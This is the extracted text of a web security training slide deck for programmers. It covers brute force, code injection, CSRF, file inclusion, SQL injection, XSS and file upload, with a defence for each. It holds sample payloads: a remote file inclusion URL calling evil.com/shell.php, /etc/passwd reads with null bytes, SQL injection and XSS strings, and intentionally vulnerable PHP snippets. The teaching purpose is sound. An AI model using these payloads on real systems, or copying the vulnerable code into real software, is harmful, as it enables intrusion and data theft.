You are on page 1of 68

Hacking for Programmer

understand and defense


Adzmely Mansor adzmely@gmail.com

Objective(s)
aid to better understand common exploitable vulnerabilities, how it been exploit, and reversely (re)develop a defensive mechanism securing web application deployed through best practice

Brute Force Attack

Brute Force Attacks


attempt to discover a password systematically trying every possible combinations until correct combination found takes time - depend on password combination and complexity

Brute Force Attacks


brute force automation? THC-Hydra ultra fast network logon cracker free - http://www.thc.org/thc-hydra/

Brute Force Attacks


brute force automation? THC-Hydra supporting cracks for :
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPSFORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MSSQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

Blocking Brute Force Attack


Locking Accounts after several number of failed attempts last at specic duration admin intervention to un-lock not the best option - possibility of mass DOS

Blocking Brute Force Attack


do not use PREDICTABLE behavior random fail/error messages CAPTCHA after several failed attempt second level password / secret question / OTP-SMS combination of techniques

Blocking Brute Force Attack


The Best Solution : Enforce Complex Password Pass Phrase instead of Pass word

Brute Force Attacks


ssh brute force:

Brute Force Attacks


http POST form brute force:

Code Execution

Code Execution
ability to execute command(s)/code on a target machine or in a target process inject and execute shell code / scripting code ability to fully take control of the target machine

PHP/Code Injection
this is silly, hopefully nobody doing it:

Shell/Code Injection
this is silly, hopefully nobody doing it:

Code Injection Prevention


Never trust user input(s) sanitize htmlentities / htmlspecialchars strip_tags etc

Code Injection Prevention


Avoid using system/exec/shell_exec if possible have to, make sure you sanitize and validate user input:

Cross Site Request Forgery - CSRF

Cross Site Request Forgery


also known as one click attack or session riding works by forces/tricks an end user to execute unwanted actions on a web application in which he/she is currently authenticated by sending through social engineering such as sending link via email/chat/etc can compromised end user data/operation and even the entire web application

Cross Site Request Forgery


ever see a link like this:

Cross Site Request Forgery


and the actual facts id are in sequence:

Cross Site Request Forgery


session validation user validation 0 0 1 1 0 1 0 1

Cross Site Request Forgery


N T O F SR C

Case 1: in some if not most cases, there is NO: session checking for authenticated user no validation of authorized user authorized to delete your own POST, but knowing the id sequence number anybody can delete random POST of a random user

Cross Site Request Forgery


Case 2: do things the right way, but no CSRF protection session checking for authenticated user validate as authorized user

Cross Site Request Forgery


Case 2: do things the right way, but no CSRF protection Bro check this out, Rainbow ABC

Cross Site Request Forgery


POST method will not save you ... !!!

Click for More

Cross Site Request Forgery


POST method will not save you ... !!!

Cross Site Request Forgery


POST method will not save you ... !!!

Cross Site Request Forgery


Famous CSRF attacks.... INGDirect.com
able to transfer funds out of user bank account...

YouTube.com
added video to a users Favourites, agged videos as in appropriate, etc....

etc
SOURCE: https://freedom-to-tinker.com/blog/wzeller/popular-websites-vulnerable-cross-site-request-forgery-attacks/

Cross Site Request Forgery


CSRF Preventions - user level can mitigate CSRF risks by: logging out dont Remember Me

Cross Site Request Forgery


CSRF Preventions - web sites countermeasures CSRF token in all forms limiting lifetime of sessions cookies

Cross Site Request Forgery


CSRF token - using (PHP) noCSRF class
// Tokens are stored in session so you // have to initialize session data session_start(); // Then include the NoCSRF class require_once('nocsrf.php'); // Generate CSRF token to use in form hidden field $token = NoCSRF::generate( 'csrf_token' ); <form name="csrf_form" action="#" method="post"> <input type="hidden" name="csrf_token" value="<?php echo $token; ?>"> ...Other form inputs... <input type="submit" value="Send form"> </form>

SOURCE: https://github.com/BKcore/NoCSRF

Cross Site Request Forgery


CSRF token - using (PHP) noCSRF class
try { // Run CSRF check, on POST data, in exception mode, // with a validity of 10 minutes, in one-time mode. NoCSRF::check( 'csrf_token', $_POST, true, 60*10, false ); // form parsing, DB inserts, etc. } catch ( Exception $e ) { // CSRF attack detected // discard request }

File Inclusion Exploit

File Inclusion Exploit


Local/Remote File Inclusion it allows attacker to include local/remote le possible because of user-supplied input without proper validation

File Inclusion Exploit


Local/Remote File Inclusion can lead to code execution on the web server code execution on the client side through javascript and can lead to another attacks such as XSS - Cross Site Scripting Denial of Service (DoS) Data Theft/Manipulation

File Inclusion Exploit


LFI/RFI Examples:
// This is obviously bad.. ! // <?php if (isset( $_GET['page'] )){ include( $_GET['page'] ); } ?> <form method="get"> <select name="page"> <option value="news.php">Latest News</option> <option value="research.php">Research</option> </select> <input type="submit"> </form>

File Inclusion Exploit


LFI/RFI Examples: Remote File Inclusion (RFI): /vulnCode.php?page=http://evil.com/shell.php Local File Inclusion (LFI): /vulnCode.php?page=/etc/passwd

File Inclusion Exploit


LFI/RFI Examples:
// How about appending with .php // <?php if (isset( $_GET['page'] )){ include( $_GET['page'] . .php ); } ?> <form method="get"> <select name="page"> <option value="news">Latest News</option> <option value="research">Research</option> </select> <input type="submit"> </form>

File Inclusion Exploit


LFI/RFI Examples: Remote File Inclusion (RFI): /vulnCode.php?page=http://evil.com/shell.php? Local File Inclusion (LFI):
? cause .php considered as URI

/vulnCode.php?page=/tmp/phpcode /vulnCode.php?page=/etc/passwd%00
er t c a har C e Byt l l Nu

Null Byte Injection %00

Null-Byte Injection
URL/WEB presentation as - %00 termination character / terminator alter the intended logic of the application
// How about appending with .php // <?php if (isset( $_GET['page'] )){ include( $_GET['page'] . .php ); } ?> // http://www.example.com/vulnCode.php?page=/etc/passwd%00.php

Solution for Null-Byte/LFI/RFI


input VALIDATION eg: by using whitelist array

SQL Injection

SQL Injection
occurs when user input is not ltered for escape characters manipulation of SQL statements no sanitization of user input no type casting not using proper method in query placeholder

SQL Injection

http://example.com/news.php?newsID= OR 1=1 --%20 SELECT * FROM users WHERE name = '' OR '1'='1' -- ' http://example.com/news.php?newsID= OR 1=1 --%20 SELECT * FROM users WHERE name = '' OR 1=1 -- '

SQL Injection
by using placeholder method in SQL statement

XSS Cross Site Scripting

Cross Site Scripting


typical vulnerability found in web application enable to inject client-side script in web pages viewed mainly because of not safely sanitizing/validating user input two main types non persistent XSS / reected persistent XSS / stored

Cross Site Scripting


non persistent XSS example:

// successfully attack by simple embed XSS attack in URI // index.php?name=guest<script>alert('attacked')</script>

Cross Site Scripting


XSS Preventions: Data validation
<?php // validate a US phone number if (preg_match('/^((1-)?\d{3}-)\d{3}-\d{4}$/', $phone)) { echo $phone . " is valid format."; }

Cross Site Scripting


XSS Preventions: Data sanitzation
<?php // sanitize HTML from the comment3 $comment = strip_tags($_POST["comment"]); ?>

Cross Site Scripting


XSS Preventions: Output Escaping
<?php // escape output sent to the browser echo "You searched for: " . htmlspecialchars($_GET["query"]); ?>

Cross Site Scripting


XSS Preventions: URL-Encode URL Query String Parameters
<?php // URL Encode query string parameters echo "<a href=http://example.com/?name=.urlencode($name).>; ?>

File Upload

File Upload
allowing a user to upload a le in a website: potentially opening a door for attacks/exploits without validations and protections: user can upload a server side script / shell code possibility totally pawned the server easily

File Upload
File Upload to Document root without validation malicious user can access directly uploaded le through URL putting the server totally vulnerable and open to possibility of total compromised

File Upload
Sample exploitable le upload
// upload to document root / no validation / accessible via URL // <?php $target_path = "uploads/"; $target_path = $target_path . basename($_FILES['uploadedfile']['name']); if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded"; } else { echo "There was an error uploading the file, please try again!"; } ?>

File Upload - Preventions


Mime Type Validation ? a common mistake eg: PHP $_FILES[uploadle][type] provided by the browser the user using easily fake - by using automation tools / scripts / etc

File Upload - Preventions


Block dangerous extensions / allow images extension only? denied le upload other than image le extensions - jpg/ png/gif/etc quite a big list of extensions possibility overridden by .htaccess le
AddType application/x-httpd-php .jpg

File Upload - Preventions


Block dangerous extensions - NO .php extension? le with additional/double extensions evilCode.php.fr - language extension le executed as PHP by apache

File Upload - Preventions


Block dangerous extensions - NO .php extension? le with additional/double extensions if you are using AddHandler directive in apache:
AddHandler php5-script .php

evilCode.php.jpg - will be executed as PHP script

File Upload - Preventions


Client-Side validation? client side validation such as javascript can be edited/ disabled online on the y using browser tools: such as javascript console by using chrome inspect element, you can directly edit any part related on the y attacker can develop custom script to upload le

File Upload - Solution


by using .htaccess in your upload folder set:
php_ag engine off

set the ownership to root/superuser and only readable by others (apache/nobody) - 022 mask

File Upload - Solution


by using Directory directive in you httpd conguration set:
<Directory /var/www/html/uploads> php_ag engine off </directory>

when everything else fails...

Resources Location Prediction

Resources Prediction
scan web server using predicted list of common les/ folders/CGIs outdated vulnerable server software directories listing / traversal etc

Resources Prediction
nikto - perl web scanner script

You might also like